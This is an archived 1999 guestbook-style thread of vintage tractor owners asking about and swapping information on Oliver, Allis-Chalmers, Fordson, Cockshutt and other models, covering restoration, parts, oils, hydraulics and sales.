Marc Studer wrote on Friday, September 10, 1999 (PDT):I have an opportunity to bid on an F-14 at a local auction. The tractor is listed as good for parts, but everthing is there on the tractor. The engine is seized up. How much is too much to bid on it. I have been checking around, but am still looking for advice.
Eric Kerska wrote on Wednesday, September 08, 1999 (PDT):Oliver 880. How well does the hydraulics of the 880 handle a loader?
Ron Whitney wrote on Wednesday, September 08, 1999 (PDT):I have a Case LA i believe it is a 1944 model. On the side of the block it has the numbers c4862A. Is 1944 the correct year? or do I need a different set of numbers? Also I need a radiator resavour tank that bolts directly benesth the radiator. Does anyone know where I can get one or knows of a good salvage for LA parts? Please help. Also I may be interested in buying a parts tractor if you have any info. on one. Thanks for the help!! Ron
Martin Rankin wrote on Tuesday, September 07, 1999 (PDT):We require a raised P.T.O. for a Fordson Major. Thank you in anticipation.
Jos LANG wrote on Tuesday, September 07, 1999 (PDT):I have a Titan from 1917, exactly the same as shown on the picture. It is running very well. I want to repaint it and for this reason I am looking to find the paint codes. I am also interested about a parts manual or any documentation existing.
David Read wrote on Monday, September 06, 1999 (PDT):I have an early D-12 and am attempting to set the timing, but am confused by the marks on the flywheel One appears to be "I R E", the second "ENTER" and the last as "F-25" anyone have any answers? We have lost one starter already and would like to avoid losing another.
matt moore wrote on Sunday, September 05, 1999 (PDT):I have a D-14 allis chalmer and i live in ohio, i was wondering what type of oils do i use for this tractor, if someone can please let me know, thank you.
Don Schmidt wrote on Sunday, September 05, 1999 (PDT):I have an F-12, which has been in my family for three generations. I am now in the process of restoring it to orginal color . It runs fine & is in great shape.
Dennis Schmelz wrote on Friday, September 03, 1999 (PDT):Allen H Use 30w non-detergent oil in your hydraulic system.
ALLEN H wrote on Friday, September 03, 1999 (PDT):I OWN A D-15 ALLIS CHALMER AND I LEAVE IN FLORIDA I WAS WONDER WHAT TYPE OF HYDROLIC OIL I NEED TO USE FOR THIS TRACTOR IF SOMEONE CAN TELL ME PLEASE THANK YOU .
Paul wrote on Thursday, September 02, 1999 (PDT):I had a 770 industrial tractor/loader/cab. It was a very heavy duty outfit. I still have the Oliver model 778 loader.
Randy Swain/Lil'Putz wrote on Tuesday, August 31, 1999 (PDT):What a sweetheart this tractor is,I just love these machines,perhaps that's why I own two of them,up here at mile marker 15 on the Alaska highway!
Dennis Lindsey wrote on Monday, August 30, 1999 (PDT):My neighbor has a Super 55 gas and we are trying to figure out the paint scheme. All four wheels on this tractor are green. Most wheels on the Super 55's seem to be red. Did the paint scheme change depending on the model year? Anybody know? The griil is yellow, but it doesn't seem to have ever had the red striping down the middle with the oliver nameon itHelp/
B.Bohland wrote on Friday, August 27, 1999 (PDT):I am interested in the condition and what you are asking for it.
greg TN wrote on Thursday, August 26, 1999 (PDT):to GaryPA-where are you located and how much for the 57.
Tom Martin wrote on Wednesday, August 25, 1999 (PDT):I recently purchased a 1960 gas M5,and was wondering if anyone can tell me about any quirks or weaknesses this tractor may have. What is it's horsepower? thanks for any help.
bruce peterson wrote on Wednesday, August 25, 1999 (PDT):anyone have a d21 for sale?
Don goes wrote on Tuesday, August 24, 1999 (PDT):The transmission or rearend on my tractor wines. Is that normal or is there somthing i can do about it. What kind of oil goes into it? Oliver 770
John Friebely wrote on Monday, August 23, 1999 (PDT):I have a 1955 LoBoy and I need some specs. on the stock motor. Anybody have any??
Chris Short wrote on Sunday, August 22, 1999 (PDT):I have a 1954 TEF 20, four-cylinder diesel, well-used but in basically good order. Unfortunately the hydraulics exhibit some unpleasant characteristics. It is impossible to find a 'neutral' position, the arms either go up or down. With the tractor not running, the arms creep back down, the speed with which this occurs depends on the weight of the implement and the position of the lever. I would like to fit a front end loader but most information suggests the internal pump is not really strong enough and there is also the fact that the tractor doesn't have live hydraulics, ie, dip the clutch and it all stops. I have seen some material about an external hydraulic pump, driven directly from the crank at the front of the tractor. I would appreciate any information about such a project. It is also worth mentioning that I am in Australia, so there is not quite the abundance of parts and information that many of you enjoy in the States or UK. Thanks to anyone who has the time to respond.
Max Madsen wrote on Saturday, August 21, 1999 (PDT):in denmark the old major is very popular at the tractorpulls. Often with a retrofitted 6cyl. ford engine from a truck or a clayson-combine. My brother and i has been driven a 4cyl. major with a turbocharger from a small off.roader(picup) and now we have bought another one with a 6cyl. engine, but we cant identifi the engine more that its a ford. We need to know the size, how much oil, the fuel injectors setting and the pump, and valve settings before we can use it and tune it up. Does anybody know where we can find some information. Do you know american trucks fitted with an about 100hp diesel engine from the mid-60s?? if you have any ideas we will be very glad to hear from you!!!! we also have an IH farmal H and another Gas-driven fordson.
Donn wrote on Friday, August 20, 1999 (PDT):Would like to chat with anyone who has or is in the process of converting an 8n to a v8, especially the 60 hp v8. I'am looking for the answers to a few questions and may also be able to help someonr else. Thanks, Donn
Dean Waldfogel wrote on Thursday, August 19, 1999 (PDT):I agree with Ernie and Frank. The Z's my dad owned in the fifties, looked similar, but the seat was a swivel located further back, and the steering wheel was a straight line to the front along the left side of the engine compartment. I'd love to purchase a model replica of a Z. Any one have one for sale?
David Dougherty wrote on Thursday, August 19, 1999 (PDT):Looking for a detroit powered massey 98. Any condition considered. All info onthis tractor would be very helpful
dale wrote on Wednesday, August 18, 1999 (PDT):looking for any info on aliss chalmers dozer H-3 especialy cost of final drives + bushings +rollers any info will be appreaciated thanks firebird
Terry wrote on Saturday, August 14, 1999 (PDT):I would like to see more pic's of these type of tractors. I just bought a W-6 and I am trying to find out more about this tractor. These W models are very beautiful tractors. I hope I see more in the future thanks
Tom Upton wrote on Friday, August 13, 1999 (PDT):Nice tractor! looks like a early 1960 checkerboard A model. I have a later tractor 1963 with the hydra power drive. I have taken home quite a few trophys from the tractor pulls with it. A lot of people think its souped up because of the noise the 2 cycle engine makes,but it is stock. I would like to buy a super 99 G M as well if anyone has one for sale ?
Rick wrote on Thursday, August 12, 1999 (PDT): I purchased a 300 utility about 2 weeks ago for 200 bucks. The 169ci engine had a stuck exhaust valve. After pulling the head repairing the valve problem and replacing a push rod I am grinning from ear to ear. Installed a flapper on the exhaust to keep the rain out of the engine which was the cause for the valve problem. The coffee can aperiently had not been on the exhaust the whole time it had rested. Now all I need is the LINK on the left hand side of the 3 point hitch that attaches the lift arm to torsion bar. Seems that this link must have been broken at some time in its life and has a make shift affair in place of it. Any help locating this piece or what this piece is called due to the fact that I know nothing about tractors would be greatly appreciated. THANX
JayD wrote on Tuesday, August 10, 1999 (PDT):I am planning on restoring my Cockshutt 1850 with Hydraulic Powered Front Wheel Drive in the future and I would like to know some Information about my tractor since it was produced under Oliver during the 60's. Model Number; 185 - 8270 Serial Number; 163 - 716 - 478
John Bowers wrote on Monday, August 09, 1999 (PDT):I'm trying to find the serial number on a Ford 2000 tractor I acquired a month ago. My ITS manual says it's located at the top front left of the transmission housing, but I can't spot it. The steering assembly, battery box, etc. are removed, but I still have no luck. Help !!!
Persian orange paint in my veins wrote on Sunday, August 08, 1999 (PDT):'34 models were the last ones to use a steering wheel. I have a '35 model. It starts by crank only. It still sets in the same barn where it was delivered new in 1935 by a dealer in Dodge City, Ks.
Tim wrote on Saturday, August 07, 1999 (PDT):I'm in the process of restoring a 300 Utility basket case. No problem finding parts, but no one seems to be able to tell me what years these tractors were made, or how many. Anyone out there know?
Joe Axberg wrote on Friday, August 06, 1999 (PDT):What is this tractor worth? Is the front wheel assist rare? This is the coolest looking tractor ever!
Royce Wilson wrote on Friday, August 06, 1999 (PDT):I have a 1969 Ford 2000, which I am repainting. Along with paint I purchased a complete decal set. I need to know the location of all the decals. Can any help with this? Thanks
robert allen wrote on Friday, August 06, 1999 (PDT): i would like to know if any one could give me some teck info on it
Tim Nady wrote on Monday, August 02, 1999 (PDT):I have jd50 that the rockshaft didn't turn. It had a hydraulic take off with quick disconnects. I had to remove them and put in dummies with a hole crossed drilled in it. I bought an after market 3 point hitch for the 50 from Cross Manufacturing in Mindenmines, Missouri.
John Lang wrote on Saturday, July 31, 1999 (PDT):Are there any other Australian admirers of the mighty Cockshutt diesel Deluxe?
Lee Mullikin wrote on Tuesday, July 27, 1999 (PDT):I would like to see a detailed picture of the independent PTO on a 1080. I am having a problem with it and really don't know a thing about the PTO. I have lost power when I hook up a 7' cutter, but the rest of the hydraulic system works fine.
Al Walrath wrote on Tuesday, July 27, 1999 (PDT):I have a 51 W4 with just McCormick on the front nameplate, really nice little tractor.
russell hawk wrote on Monday, July 26, 1999 (PDT):I have four Leader tractor's .Two run and two for parts will add serial number's later
Charles Vesser wrote on Sunday, July 25, 1999 (PDT): I own a 1956 UTS Special these machines are a unique breed to say the least. As a general rule they crank very easy, are kinda hard to steer (unless you have muscle power to spare) a couple of items to note on the 1956 model is they have DIC-BRAKES and the adjusting rod is reverse threaded, mine seems to run the best on Champion D-16 plugs. I would advise anyone who uses one in a isloated area to always carry a fire extingusher on board, due to the fact the battery is almost next to the fuel tank. Also one item to note is the 12 volt electric is POSTIVE GROUND. I like mine very well and will probably never get rid of it,its kinda like a old stray dog you adjust to it and it adjusts to you.
Roger Finnie wrote on Sunday, July 25, 1999 (PDT):I bought a super 55 two week's ago, perfect shape, perfect running order, it came with a 7 foot Oliver mower,I need to find out how the cable hook's up? Great investment.
Jackson Rockwell wrote on Friday, July 23, 1999 (PDT):I recently purchased a TD 35 serial#TDBB1113 I think its a 1937. Iam looking for a place to buy parts such as gaskets and steering clutchs etc. I called Dresser they dont even list it in there microfish.I am also looking for any manuals or information on this tractor.Also mine is a 5 roller track all the pictures Ive seen of other TD35 appear to be 4 roller?
Abby wrote on Tuesday, July 20, 1999 (PDT):I am in the process of looking of a tractor for use on 8 acres for horses. I would like a tractor that can be used with a front end loader, mower, harrow, snow plow and post hole digger. I would like to have a tractor that could move large round bales but am unable to afford such a tractor nor do I need such a large tractor for only 8 acres. Any suggestions?
Chuck Kaufman wrote on Sunday, July 18, 1999 (PDT):Just picked one up missing all the over center clutch parts , would OS4 parts fit? Thanks chuck
fred aten wrote on Saturday, July 17, 1999 (PDT):i have a propane GIV and am trying to sell it
Daren Hubers wrote on Saturday, July 17, 1999 (PDT):Got lucky and found one at an estate auction. Have been told that only 750 Super 44's were ever made.
lil orphan allis wrote on Thursday, July 15, 1999 (PDT):you have a very rare crawler.later models had levers.
Leon Cederlind wrote on Tuesday, July 13, 1999 (PDT):I am interested in locating an Oliver Super 44.
Andy Guest wrote on Saturday, July 10, 1999 (PDT):Hi my name is Andy Guest.My dad and I just bought a G900 and we are really getting into MM so if you have any more info on MM send me some.
Rae H. Johnson wrote on Saturday, July 10, 1999 (PDT):I have had a Leader tracror for 44 years and it still runs great. Leader tractor model #48D, serial # 27204. I would like to find if there are any clubs or groups interested in forming a club for the transfer of information.
Arlen Wahl wrote on Friday, July 09, 1999 (PDT):The 80 does have the sound of other diesels, sort of a knock, the sound is unique, ours is very snappy, the lugging power is great, it will lug down with a puff of black smoke with every pop. It at times blow smoke rings when pulling hard.
Bobby Garrett wrote on Thursday, July 08, 1999 (PDT):I rescently purchased a 1956 model 60 I need all the info on it I can get.PLEASE contact me if you can help!The biggest question I have is,how do I get the rock shaft to work? I engage the powertrol and move the lever but the shaft doesnt move.Do I have to have an attachment on it with weight before it rotates or am I doing something wrong or is it broke?Can I build a three point attachment for it? Please help me out if you can.THANKS.
denny becker wrote on Monday, July 05, 1999 (PDT):ihave a50 diesel cockshutt that iam working on for right now
Scott Diceman wrote on Sunday, July 04, 1999 (PDT):The 550 in the picture looks great.My father purchased our 550 new in 1959 and we still use it regularly.After seeing the picture I can see I will have to get busy and restore ours.
Allen Coulter wrote on Saturday, July 03, 1999 (PDT):Looking to unload a front loader for a Allis Chalmers D-17 wide front end, has manure and snow bucket. Anyone interested please drop a line. We are located in Northern Lower Michigan.
Erik Henningsson wrote on Wednesday, June 30, 1999 (PDT):I love this great machine!
Daniel wrote on Monday, June 28, 1999 (PDT):Yes,I have a question. What is a regular worth and can you find parts a reasonable price? The reason I ask is I know where one is located, but I have not gotten a chance to look at it yet. I am sure it is probably is in ruff shape. Would it be a wise choice in buying it? IF YOU COULD WOULD YOU E-MAIL ME BACK AT daniel_hughes_82 at seidata.com
Jeff Graves wrote on Monday, June 28, 1999 (PDT): I just became the (proud?)owner of a Super Dexta. My biggest problem is not being able to find a great deal of parts for it. Of course the starter is the first problem I have run into. I was able to purchase a rebuilt one for around $200!! I have also located a supply of NOS Perkins Diesels (3.152) that may work on this tractor. I am checking into it to make sure the castings are the same. I guess half the fun of a Super Dexta is trying to find the parts. Also, does anyine know if the late model lucas starters with the 10 tooth drive will work on a Super Dexta, which originally had the 11 tooth drive?
Jeff Graves wrote on Monday, June 28, 1999 (PDT): I just became the (proud?)owner of a Super Dexta. My biggest problem is not being able to find a great deal of parts for it. Of course the starter is the first problem I have run into. I was able to purchase a rebuilt one for around $200!! I have also located a supply of NOS Perkins Diesels (3.152) that may work on this tractor. I am checking into it to make sure the castings are the same. I guess half the fun of a Super Dexta is trying to find the parts. Also, does anyine know if the late model lucas starters with the 10 tooth drive will work on a Super Dexta, which originally had the 11 tooth drive?
Paul Stanley wrote on Sunday, June 27, 1999 (PDT):I got my Oliver Super 55 about a year and a half ago. It's a diesel model. I plan on restoring it later, but for right now I am using it around my property to move material. I have a back blade and a 3 point scoop for it. I will need to do some work on the steering and brakes soon! I read a lot about old tractors and for some reason fell in love with Olivers. I was looking in Washington State, but was lucky to find one here in British Columbia.
ERIC DALSHAUG wrote on Friday, June 25, 1999 (PDT):I,m now a prode owner of a Model 30 Cockshutt. My uncle had a small Farm in Sask Canada, which he had Farmed from 1904 to 1982. From what Ive been, told he bought it used in the 60's. This was one of his very best Tractors he had owned. MY uncle died in the 80's and left me the Tractor. I just completed a 3500 mile journey to retrieve it and how the OLD Cockshutt has a new home in California. I will be using it on my Ranch.
Ed Burress wrote on Wednesday, June 23, 1999 (PDT):I just bought a 63 Super Dexta for $1500. It looks like a pretty goo tractor for the money. The engine is in need of being rebuilt, and I located parts on the web for around $450 with shipping. If it works out well, this will be the only tractor I'll ever need to buy, and I will probably wind up restoring it. Ed Burress, Portland, Oregon.
Tim Chowning wrote on Tuesday, June 22, 1999 (PDT):I own a 1948 Case SC and am in the process of restoring. I recently obtained a 1946 Case SC parts tractor with a wide front end. I need two front 4 bolt rims which attach to the hub. Hopefully the tractor will be complete within the next six months.
mike anderson wrote on Monday, June 21, 1999 (PDT):i have recently purchased a ford 8n. it was mfg 9/24/47 and seems to be in great shape.i can't quite make out the serial # on the block any hints on bringing it out. also any help on the umbrella besides blue. what fun!
Gary Thurston wrote on Monday, June 21, 1999 (PDT):info on the leader model d tracton tring to restore
Terry Morley wrote on Sunday, June 20, 1999 (PDT): She'll go 5000 # without water on the tires, Unless you are a glutton for punishment and think you will move the wheels...... you'll need 8' wide, at lest 18' long longer is better. GOOD LUCK. Oh, if you don't block under the rear of the trailer, she'll lift the rear of the pickup when you back her on.
Butch Cherrington wrote on Friday, June 11, 1999 (PDT):Barry, Your problem is most likely in the "traction booster" system. Make sure the upper lever is to the top of the quadrant. If this does not fix the lowering problem a linkage ajustment is in order.
Ralph wrote on Thursday, June 10, 1999 (PDT):I have a Farmall and Im looking for info. I took a serial number off the block it is F.A.B. 6482. If anyone can help to determine the year,I give thanks.
RMD wrote on Thursday, June 10, 1999 (PDT):Some corrections to the description. The D-12 replaced the CA in AC line-up; the D-10 replaced the B. The only difference between the two was the width - the D-10 was for one row cultivation and the D-12 was for two rows. The design is very heavily based on the CA. The early D-10/12 did not have independent PTO and may or may not have had independent hydraulics. Production changes in 1961 or 1962 brought more power (30 HP), independent PTO and independent hydraulics on all D-10/12. At that point they became probably one of the best 2WD 30 HP general purpose tractors made. I have a 63 D-12 and it would be perfect if it had power steering and a differential lock.
paul wrote on Saturday, June 05, 1999 (PDT):I see a 97 at the local consignment sale every few months. It has a cab and very little paint & either doesn't run or barely runs.... Never seems to reach it's reserve price, located in Sleepy Eye, MN. --->Paul
Bob wrote on Saturday, June 05, 1999 (PDT):From what I have read Leader tractors were made by Brockway from 1937, after 1940 they bore the name Leader and later changed back to Brockway name, does anyone know if this is correct
Larry Anderson wrote on Thursday, June 03, 1999 (PDT):I fondly remember the day we took delivery of this D-15. I must have been 12 at the time. This tractor was "little brother to our "bigger" D-17. Dad and I would often head to a field and "double up" on the field work. I always remember the D-15 being able to outrun the D-17. D-17 was pulling a 3/16 plow, the D-15 would go a bit faster pulling a 3/14 plow. It also would easily run away from the D-17 in hi or low road gear. The hand clutch made it such an easy tractor to manuever. Wish I still had that tractor!!!
Nile Folin wrote on Tuesday, June 01, 1999 (PDT):I've owned a G1000 for about 5 years. It is a workhorse. The 6 cyl diesel starts easy and provides much more power than my JD4020 could even think of doing. Other than fuel consumption I see no reason why they do not continue to be a cost effective popular tractor. I generally use this one for spring field work and later for round baling hay.
David Reise wrote on Monday, May 31, 1999 (PDT):I believe you will find that the Fordson Super Dexta was last Produced in 1964 and was the last line of tractor to carry the Fordson name I have a 1963 model year in process of restoration Dave Reise Portsmouth Rhode Island
Mike wrote on Sunday, May 30, 1999 (PDT):I thought that on an O-14 the rear fenders went halfway down over the rear wheels. I own an I-14 and the fenders on this O-14 look just like the fenders on my I-14.
mlp wrote on Saturday, May 29, 1999 (PDT):I have found one of these tractors at a salvage yard and it needs a lot of work and parts. The owner said he would take 700 for the tractor just like it is with no promises. He bought the tractor from a lady who's husband was using the tractor and it just quit several years ago and they never tried to start the tractor again. I have heared the parts are high and can be hard to get locally in central Mississippi. I have also heard the tractor is not easy to start and the timing has to be set just perfect. The tractor needs fenders and a starter are these hard to find? Please e-mail me with any information you have.
Chuck wrote on Friday, May 28, 1999 (PDT):We have restored a Cockshutt #30 and it turned out very well. They are a beautiful tractor. However, ours has a Schwartz wide front on it and give a complete different appearance that the Cockshutt wide front. This one also has the live power and live PTO.
Dave wrote on Wednesday, May 26, 1999 (PDT):I am searching for a wide front end for a 230 c , SUPER C Need to get tractor repaired for farming. Also looking for a starter for OC3 Oliver.
Dave Duttry wrote on Wednesday, May 26, 1999 (PDT):I am searching for a wide front end for a 230 c , SUPER C Need to get tractor repaired for farming. Also looking for a starter for OC3 Oliver.
Grant Kelly wrote on Tuesday, May 25, 1999 (PDT):I have a Super 55 and use it every weekend. The only weird part is that when I bought it, somebody had replaced the original diesel motor with a Vauxhall engine. The bolt pattern was the same for some strange coincidence. It runs great but has no governor so keeping it going at a constant RPM is a bit tricky until you get the hang of it. I'd love to hear from other Super 55 owners.
J.S.Woodward wrote on Tuesday, May 25, 1999 (PDT):I would like to see picture of a massey ferguson 65 Mk 1 4 cylinder diesel
Dennis H. wrote on Sunday, May 23, 1999 (PDT):I have only had my 1958 Oliver 550 Gas for a little over a year now. I use it to rake hay, bush hog, finish mow, grade, plow and till. I feel it would be much better for tilling if it had a lower first gear, but other than that it is an excellent all around utility type tractor. It uses so little fuel that I recently sold my single cylinder riding mower and bought a finish mower to use on the 550. The 550's 4cyl 42HP engine uses less than half the gas the 16HP Kohler engine would use to do the same job. When you use the live hydraulics and independant PTO along with all that power, you'll know it is in a different class than the other small utility tractors that you hear and see everyone else trying to use.
Greg Ballachino wrote on Friday, May 21, 1999 (PDT):I own a 1930 ooc massey 4-wheel drive 1935 models had a ohc hercules
barry Silver wrote on Tuesday, May 18, 1999 (PDT):I am looking at atractor just like the picture. If I hang a 500 lb weight off the 3 point hithch it drops about 2 inches a minute. Is that a problem in the real world.
John wrote on Thursday, May 13, 1999 (PDT):This is for Rebel, I have a BN block. Call JP Tractor Salvage 573-783-7055 ask for John Jr.
Carmen & Bruce wrote on Wednesday, May 12, 1999 (PDT):Hi. We currently own a 1940 Oliver 60. When our farm was started in the early 40's this was the first tractor to run the farm. This particular Oliver has a lot of sentimental value. We are in the process of restoring it and are have a few complications with the details. If anyone out there is reading this and can help - please do! Our only problem with finishing the restoration of our tractor is the color scheme. I have had many people reply but no good hard evidence to back it up. I need to know what the detail color of the 1940 Oliver 60 are. The strips on the front of the grill to the color of the dash board. The Oliver 60 was made from 1940 to 1949. The colors changed a little each year. If any one knows what the ORIGINAL color of the first ever made Oliver 60 please advise!
Ray Bertrand wrote on Tuesday, May 11, 1999 (PDT):I have recently acquired a Cockshutt 60. I haven't located the serial number but know that this model was built between 1940 and 1948. If anyone has any info on this tractor I would really like to hear from you. I am looking for pictures, colour if possible Thank you Ray Bertrand
Rick Faber wrote on Tuesday, May 11, 1999 (PDT):My dad bought one new, we both farmed with it. I think there was only 600 built. Also,they were built by Oliver, an Massy bought 'em an painted them Red/Grey. We have restored other MF tractors.
Rebel wrote on Sunday, May 09, 1999 (PDT):I just got a "BN" given to me as a house warming gift and I have a cracked block on it. I'm trying to find info on this tractor. I would like to know how to check the oil level on it and if "J B weld would work on fixing the block. It's cracked on the water jacket.
B.G. Pryor wrote on Sunday, May 09, 1999 (PDT):Do you have a power take off unit for the Allis Chameler G 1948 tractor? If so what is the cost and your location.
garry ouellette wrote on Saturday, May 08, 1999 (PDT):i am looking for super 90 parts...whats the differences between the 2 tractors and does the 98 have a perkins diesel thanxs
Bill wrote on Thursday, May 06, 1999 (PDT):Why does it look like it has spokes in the rear wheels?
DKoeman wrote on Wednesday, May 05, 1999 (PDT):I have a 1950T fwa. I have know time to get it going so i would like to sell it.
owen morgan wrote on Tuesday, May 04, 1999 (PDT):I OWN A D14 TRICYCLE FRONTEND GAS MODEL. THIS IS A GREAT TRACTOR BUT THE EQUIPMENT DOESN'T INTERCHANGE WITH OTHER TRACTORS EASILY.
Adrian Farragher wrote on Wednesday, April 28, 1999 (PDT):We've owned a tractor of this model for years and it has sentimental value. We do have one gripe however and it's to do with the hitch. After so many uses the tractor is not able to lift anything or else it will slowly slip to the ground after lifting. Is there a more permanent fix that anyone knows about?
Phillip Wilkerson wrote on Sunday, April 25, 1999 (PDT):what are the tractors on either side on this, the Minneapolis Moline Waterloo. I have seen one in Iowa. Would loke to know what it is thanks Phillip
Tom May wrote on Thursday, April 22, 1999 (PDT):I have an AC-B and I am unsure of the year. Where would I find the ID#. I have found two numbers on the block M-2916 and BE-38414-G, are these the right numbers and or where should I look. (HELP)
charles Napravnik wrote on Thursday, April 22, 1999 (PDT):I bought a 1948 Cub locally a week ago for$1850. That seemed a fair price for the previous three I'd looked at were selling for $2200, 2400, and 2800. I will probably restore it, at least partially, but I just bought it because I'm 62 now and had wanted one since I was a kid. It came with a blade on front and a sickle bar, but I'll use it probably for snow removal and pulling logs out of the woods. BUT I bought really because I wanted to have it. I've since found the men of the neighborhood walking round and round it muttering to themselves with jealousy. That's enough of a reason to have it.
Stanley Jaques wrote on Thursday, April 22, 1999 (PDT):I have a vistaG1000 tractor that I use on my farm and like it vary well. runs good and vary dependabal.
JIM BRAND wrote on Wednesday, April 21, 1999 (PDT):I bought one from my dads estate. Its a 1934 with a steering wheel. It runs good and is 12v electric start. Did all model k's have steering wheels? How rare are these? and what was the production run on this model?
Charlie Seal wrote on Monday, April 19, 1999 (PDT):Can you please help me out, I have just purchased a Fordson Major and think it is a 1954 model, I need to know how many litres of oil for the diff and hydraulics and what type of oil I need to use, as I have not dealt with any tractors before and am having a hard time finding out information. Anticipating you reply. Thank You. Charlie.
zach faust wrote on Sunday, April 18, 1999 (PDT): I have been tying to find a oliver like this one foe a while, and i would like to know how much this kind of tractor go's for
Gloria Hoekman wrote on Friday, April 16, 1999 (PDT):My father has this tractor,,his dad had bought it new, and still owns and runs it to this day,,,been a real good tractor.
Gloria Hoekman wrote on Friday, April 16, 1999 (PDT):My father has this tractor,,his dad had bought it new, and still owns and runs it to this day,,,been a real good tractor.
Doug Burris wrote on Wednesday, April 14, 1999 (PDT):I own a MH 4wd GP. It is a 1937 model and has an overhead valve engine in it. The older series- 1930 -1935 had the flathead Hercules engine. It has been in our family since new. Can anyone tell me the builder of the overhead engine. Is it Hercules also, if so what is the engine model. My engine tag is gone. I am looking for a complete engine or engine block and a rad for my tractor.
kevin hinderman wrote on Friday, April 09, 1999 (PDT):I own a 770 and it is a very good tractor.
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